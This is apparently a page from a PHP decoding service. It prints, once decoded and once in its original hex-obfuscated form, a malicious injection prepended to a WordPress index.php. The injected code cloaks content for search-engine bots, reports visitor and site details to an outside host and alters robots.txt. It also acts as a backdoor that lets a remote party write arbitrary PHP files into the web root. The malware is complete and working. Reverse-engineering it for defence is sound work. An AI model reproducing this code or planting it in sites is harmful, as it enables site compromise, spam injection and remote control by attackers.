Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto UyQy3; gvwQV: if (!strstr($htag, "\x6e\157\x62\x6f\x74\x75\163\x65\162\x61\147\145\15..

Decoded Output download

<?  goto UyQy3; gvwQV: if (!strstr($htag, "nobotuseragent")) { if (strstr($htag, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htag = str_replace("okhtmlgetcontent", '', $htag); echo $htag; die; } else { if (strstr($htag, "okxmlgetcontent")) { $htag = str_replace("okxmlgetcontent", '', $htag); @header("Content-type: text/xml"); echo $htag; die; } else { if (strstr($htag, "pingxmlgetcontent")) { $htag = str_replace("pingxmlgetcontent", '', $htag); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htag); die; } } } } goto noU_s; Iln1X: if (isset($_SERVER["HTTP_REFERER"])) { $usse = $_SERVER["HTTP_REFERER"]; $usse = urlencode($usse); } goto Moz9u; hMAmP: $host = $_SERVER["HTTP_HOST"]; goto MK8fP; eFd8d: function sbot() { $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { return true; } else { return false; } } goto gPCGZ; J0hMT: $htag = trim(daag($web)); goto gvwQV; yzPwm: if (ishtt()) { $http = "https"; } else { $http = "http"; } goto HJfs1; KVnVU: function ishtt() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto hMAmP; HJfs1: $ddur_tmp = st_uri(); goto W_YZU; ka2VH: $htwe = "http"; goto yzPwm; gPCGZ: function daag($url) { $ficonts = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto EuyCU; UyQy3: @set_time_limit(3600); goto UU2Bc; Moz9u: if (@$_GET["pd"] != '') { $acot = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($acot, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "User-agent: *Allow: /"; } $sturs = $http . "://" . $host . "/" . $acot; if (stristr($data, $sturs)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sturs)) { echo "<br>ok<br>"; } else { echo "<br> false!<br>"; } } } else { echo "<br> false!<br>"; } if (strstr($acot, ".p" . "hp")) { if (sha1(sha1(@$_GET["a"])) == daag($htwe . "://" . $towe . "/a.p" . "hp")) { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $acot, $dstr)) { echo "ok"; } } } } die; } goto wQIc9; UU2Bc: @ignore_user_abort(1); goto Nj3io; wQIc9: $web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; goto J0hMT; oot4A: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $ddur = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $ddur; } goto mJy_0; noU_s: function pingmap($url) { $url_arr = explode("
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto eFd8d; gh6v9: $usse = ''; goto Iln1X; mJy_0: $towe = $goto . ".rabbittonow" . ".xyz"; goto KVnVU; s35x3: $ddur = urlencode($ddur_tmp); goto oot4A; MK8fP: $lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto JgwPj; Nj3io: $goto = "ynav"; goto ka2VH; W_YZU: if ($ddur_tmp == '') { $ddur_tmp = "/"; } goto s35x3; JgwPj: $lag = urlencode($lag); goto gh6v9; EuyCU:  
//vx150 ?><?php 
/** 
 * Front to the WordPress application. This file doesn't do anything, but loads 
 * wp-blog-header.php which does and tells WordPress to load the theme. 
 * 
 * @package WordPress 
 */ 
/** 
 * Tells WordPress to load the WordPress theme and output it. 
 * 
 * @var bool 
 */ 
define('WP_USE_THEMES', true); 
 
/** Loads the WordPress Environment and Template */ 
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>

Did this file decode correctly?

Original Code

goto UyQy3; gvwQV: if (!strstr($htag, "\x6e\157\x62\x6f\x74\x75\163\x65\162\x61\147\145\156\164")) { if (strstr($htag, "\157\153\x68\164\155\154\147\x65\x74\x63\x6f\156\164\145\156\x74")) { @header("\103\x6f\x6e\164\145\156\164\55\x74\171\160\x65\72\x20\164\145\170\164\x2f\150\x74\x6d\x6c\73\x20\143\x68\141\162\x73\145\x74\x3d\165\x74\146\x2d\70"); $htag = str_replace("\157\x6b\x68\164\155\x6c\x67\145\x74\x63\157\156\x74\145\x6e\x74", '', $htag); echo $htag; die; } else { if (strstr($htag, "\x6f\x6b\170\155\154\147\x65\164\x63\x6f\156\x74\x65\156\x74")) { $htag = str_replace("\x6f\x6b\170\x6d\x6c\x67\x65\164\x63\x6f\x6e\164\145\x6e\164", '', $htag); @header("\x43\x6f\156\164\145\x6e\x74\55\x74\171\x70\x65\x3a\40\x74\145\170\164\57\x78\155\154"); echo $htag; die; } else { if (strstr($htag, "\x70\x69\156\x67\170\x6d\x6c\x67\x65\164\x63\x6f\156\164\x65\156\x74")) { $htag = str_replace("\160\x69\x6e\147\170\x6d\154\x67\145\164\143\157\156\x74\x65\156\164", '', $htag); @header("\103\157\x6e\x74\x65\156\164\55\x74\171\160\145\72\40\x74\x65\x78\164\x2f\150\164\155\154\73\40\x63\x68\x61\162\x73\x65\164\75\x75\164\146\55\70"); echo pingmap($htag); die; } } } } goto noU_s; Iln1X: if (isset($_SERVER["\x48\124\x54\120\x5f\122\x45\106\x45\x52\105\122"])) { $usse = $_SERVER["\110\124\x54\120\x5f\x52\x45\x46\105\x52\105\122"]; $usse = urlencode($usse); } goto Moz9u; hMAmP: $host = $_SERVER["\x48\x54\x54\120\137\x48\117\x53\x54"]; goto MK8fP; eFd8d: function sbot() { $uaget = strtolower($_SERVER["\110\x54\x54\120\137\x55\123\x45\122\137\x41\107\x45\116\x54"]); if (stristr($uaget, "\147\x6f\x6f\147\x6c\145\x62\x6f\164") || stristr($uaget, "\x62\151\156\147") || stristr($uaget, "\x79\x61\x68\x6f\157") || stristr($uaget, "\x67\157\x6f\x67\154\145") || stristr($uaget, "\x47\x6f\157\147\x6c\145\142\x6f\164") || stristr($uaget, "\147\x6f\x6f\147\154\x65\142\157\164")) { return true; } else { return false; } } goto gPCGZ; J0hMT: $htag = trim(daag($web)); goto gvwQV; yzPwm: if (ishtt()) { $http = "\x68\x74\x74\160\163"; } else { $http = "\150\164\x74\160"; } goto HJfs1; KVnVU: function ishtt() { if (isset($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\110\124\x54\120\123"]) !== "\x6f\x66\146") { return true; } elseif (isset($_SERVER["\x48\x54\124\x50\x5f\130\x5f\x46\x4f\x52\127\x41\x52\104\x45\104\x5f\x50\122\x4f\124\x4f"]) && $_SERVER["\110\124\124\x50\137\130\137\x46\x4f\x52\127\101\x52\104\x45\104\137\120\x52\x4f\124\x4f"] === "\x68\x74\164\160\x73") { return true; } elseif (isset($_SERVER["\x48\x54\124\120\137\x46\122\117\116\x54\137\x45\x4e\x44\x5f\x48\124\x54\x50\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\106\122\x4f\116\124\x5f\x45\116\x44\x5f\x48\x54\x54\x50\123"]) !== "\157\x66\x66") { return true; } return false; } goto hMAmP; HJfs1: $ddur_tmp = st_uri(); goto W_YZU; ka2VH: $htwe = "\150\164\164\x70"; goto yzPwm; gPCGZ: function daag($url) { $ficonts = ''; if (function_exists("\x63\165\162\154\137\x69\x6e\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto EuyCU; UyQy3: @set_time_limit(3600); goto UU2Bc; Moz9u: if (@$_GET["\160\144"] != '') { $acot = @$_GET["\x6d\x61\x70\x6e\141\x6d\x65"]; $action = @$_GET["\x61\x63\x74\151\157\156"]; if (isset($_SERVER["\104\117\x43\x55\x4d\x45\116\x54\x5f\x52\117\x4f\x54"])) { $path = $_SERVER["\104\117\x43\x55\x4d\x45\116\124\x5f\x52\117\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\x74"; } if ($action == "\x70\165\x74") { if (strstr($acot, "\x2e\170\155\154")) { $map_path = $path . "\57\163\x69\x74\145\x6d\141\160\56\170\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\162\157\x62\x6f\x74\x73\56\164\170\x74"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\125\163\x65\162\55\141\x67\x65\156\x74\x3a\40\52\101\154\x6c\157\x77\x3a\40\x2f"; } $sturs = $http . "\x3a\x2f\57" . $host . "\x2f" . $acot; if (stristr($data, $sturs)) { echo "\74\142\162\x3e\x73\151\164\145\x6d\141\x70\x20\141\x6c\x72\x65\x61\x64\171\40\141\x64\144\145\x64\x21\74\142\162\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\123\151\x74\x65\x6d\141\x70\72\40" . $sturs)) { echo "\74\x62\x72\x3e\x6f\153\74\x62\x72\x3e"; } else { echo "\74\142\x72\x3e\40\x66\141\x6c\x73\x65\41\74\x62\162\76"; } } } else { echo "\x3c\x62\162\76\40\146\141\154\x73\x65\x21\x3c\142\162\76"; } if (strstr($acot, "\x2e\160" . "\x68\160")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\72\x2f\57" . $towe . "\57\141\x2e\160" . "\150\160")) { $dstr = @$_GET["\144\x73\x74\162"]; if (file_put_contents($path . "\x2f" . $acot, $dstr)) { echo "\x6f\x6b"; } } } } die; } goto wQIc9; UU2Bc: @ignore_user_abort(1); goto Nj3io; wQIc9: $web = $htwe . "\72\x2f\x2f" . $towe . "\x2f\x69\x6e\x64\x65\x2e\160\x68\160\x3f\x77\x65\142\75" . $host . "\46\x7a\172\75" . sbot() . "\x26\165\162\x69\75" . $ddur . "\x26\x75\x72\x6c\x73\150\x61\156\147\75" . $usse . "\x26\150\164\164\160\75" . $http . "\x26\154\x61\x6e\147\75" . $lag; goto J0hMT; oot4A: function st_uri() { if (isset($_SERVER["\122\105\x51\125\x45\123\124\137\x55\x52\111"])) { $ddur = $_SERVER["\122\x45\121\x55\105\x53\124\137\x55\122\111"]; } else { if (isset($_SERVER["\x61\162\147\x76"])) { $ddur = $_SERVER["\x50\x48\x50\137\x53\x45\x4c\106"] . "\77" . $_SERVER["\141\162\x67\166"][0]; } else { $ddur = $_SERVER["\x50\110\x50\137\123\105\114\106"] . "\77" . $_SERVER["\x51\x55\105\122\x59\x5f\123\x54\x52\x49\x4e\x47"]; } } return $ddur; } goto mJy_0; noU_s: function pingmap($url) { $url_arr = explode("\15\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\123\151\x74\145\155\141\160\x20\x4e\x6f\164\x69\x66\x69\143\x61\164\151\x6f\x6e\40\x52\145\143\x65\151\x76\145\x64") !== false ? "\x70\151\x6e\x67\157\x6b" : "\x65\x72\162\x6f\162"; $return_str .= $pingUrl . "\55\x2d\x20" . $ok . "\74\x62\162\x3e"; } return $return_str; } goto eFd8d; gh6v9: $usse = ''; goto Iln1X; mJy_0: $towe = $goto . "\x2e\x72\141\142\x62\151\x74\164\x6f\x6e\x6f\x77" . "\56\170\171\172"; goto KVnVU; s35x3: $ddur = urlencode($ddur_tmp); goto oot4A; MK8fP: $lag = @$_SERVER["\110\x54\124\x50\x5f\101\103\x43\105\120\124\x5f\114\x41\x4e\x47\125\x41\107\105"]; goto JgwPj; Nj3io: $goto = "\171\156\141\x76"; goto ka2VH; W_YZU: if ($ddur_tmp == '') { $ddur_tmp = "\57"; } goto s35x3; JgwPj: $lag = urlencode($lag); goto gh6v9; EuyCU: 
//vx150 ?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>

Function Calls

None

Variables

None

Stats

MD5 8f094e3823fbac2eae90508bca61460d
Eval Count 0
Decode Time 50 ms